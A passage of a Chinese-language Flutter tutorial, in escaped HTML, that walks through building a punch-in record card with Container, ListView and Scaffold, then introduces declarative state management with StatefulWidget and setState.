class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchTime\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emachineName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror_outline\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereplaceAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 InformationWithIcon 是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIconData\u003c/span\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esize:\u003c/span\u003e \u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etertiary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSizedBox\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eExpanded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTagsBoxes 需要在 Container 讲明白了之后才能说明。\u003c/p\u003e\n\u003ch3 id=\"container\"\u003eContainer\u003c/h3\u003e\n\u003cp\u003eContainer是一个拥有绘制、定位、调整大小的 widget,是开发中最常用、最基础的组件。顾名思义,他能包装很多的组件。地位类似于 HTML 的 div。\u003c/p\u003e\n\u003cp\u003e上面的组件,如果我要成为一个个卡片,我得用这个包装:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于 Container,我们需要引入一些对于有些人很熟悉的东西,也就是说,Margin 和 Padding,外边距和内边距。对于 Container 而言,内边距用到的最多。我们还可以设置这玩意的边框,圆角,背景颜色之类。扩展完相当于这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadious:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e类似于这个:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background-color:purple;border-radius:10%;padding:15px\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003exxx\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e实际上 Container 是很多部件的最终实现方式,比如 Card,他就说按照设计规范,设计好背景颜色,边框圆角,背景颜色之类。除此之外,还有强制设定长宽的 SizedBox,强制设定装饰的 DecortatedBox 等,都可以算 Container 的扩展。实际代码中,我直接把上面提到的 Warp 套进 Card 了。\u003c/p\u003e\n\u003cp\u003e最终,我说明一下上面说到的 TagBoxes。代码是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromLTRB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003ebackgroundColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003etextColor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etextScaleFactor:\u003c/span\u003e \u003cspan class=\"m\"\u003e0.9\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"listview\"\u003eListView\u003c/h3\u003e\n\u003cp\u003e卡片介绍就这样了,在实际情况下,我们会有超级多的记录。根据思维惯性,我们会想让其做成一个可以滚动的菜单。不过不能用 Column,因为单纯的 Column 缺少滚动侦测器,也就是说,我们缺少一个侦测目前该滚动菜单滚动位置的侦测器。所以,我们需要使用 ListView 部件,他默认有一个滚动侦测器。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eListView\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e......\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e滚动侦测器涉及到接下来要说的状态管理。\u003c/p\u003e\n\u003ch3 id=\"scafford\"\u003eScafford\u003c/h3\u003e\n\u003cp\u003eMaterial 设计的页面部件框架,包括但不限于:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eappBar:上面的导航栏(可以设置标题和右面的小按钮,称为 action)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003etabBar:一个框架的分页,分页内容另有设置\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebody:页面的主要部分,对于截图是打卡记录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebottomNavigationBar:底部的导航栏,对于截图是展示次数以及转换\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"flutter-内部的状态管理\"\u003eFlutter 内部的状态管理\u003c/h2\u003e\n\u003ch3 id=\"声明式编程\"\u003e声明式编程\u003c/h3\u003e\n\u003cp\u003e我先念一段上网找到的定义:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e命令式编程就像它的名字一样,它由开发者我们一步一步的告述计算机,执行一系列的操作,然后得到想要的结果,起主要作用的是开发者,计算机只是帮助开发者执行计算而已。我们日常使用的大多数语言都属于命令式。\u003c/p\u003e\n\u003cp\u003e而声明式编程却与此相反,它不是告述计算机做什么做,而是直接告述计算它想要的结果,至于怎么做,由预先写好的程序依据一定的算法由计算机自动推算出来。这类定义比如 SQL,Vue 的响应式组件。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e官方给了个这个公式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eUI = f(state)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFlutter 部件的构造过程,如这个公式所见,是这样的:\u003c/p\u003e\n\u003cp\u003e我们有一个UI,或者说部件,的构造函数,里面写好了这个部件需要接收,或者监听的状态。我们通过创建,修改这个状态,让程序组建/更新我们的部件。这个状态就是我们希望的结果。这说起来十分拗口,我们上两个例子。\u003c/p\u003e\n\u003ch3 id=\"statefulwidget-内部管理和-setstate\"\u003eStatefulWidget 内部管理和 setstate\u003c/h3\u003e\n\u003cp\u003e之前我们提到的部件,都是 Stateless 部件,也就是说,这个部件的状态不会变,在我们一开始渲染的时候,就写死了。\u003c/p\u003e\n\u003cp\u003e但是,状态有时候是需要更新的。比如说,最开始那个计数器应用,我们需要记下来目前数字是多少,并且我们需要能响应添加和减少。鉴于这个,我们需要引入 StatefulWidget 来实现这个。\u003c/p\u003e\n\u003cp\u003eStatefulWidget 依靠 setState 来刷新部件,我们看一下计数器代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 所有应用的入口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这些都是定义框架的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 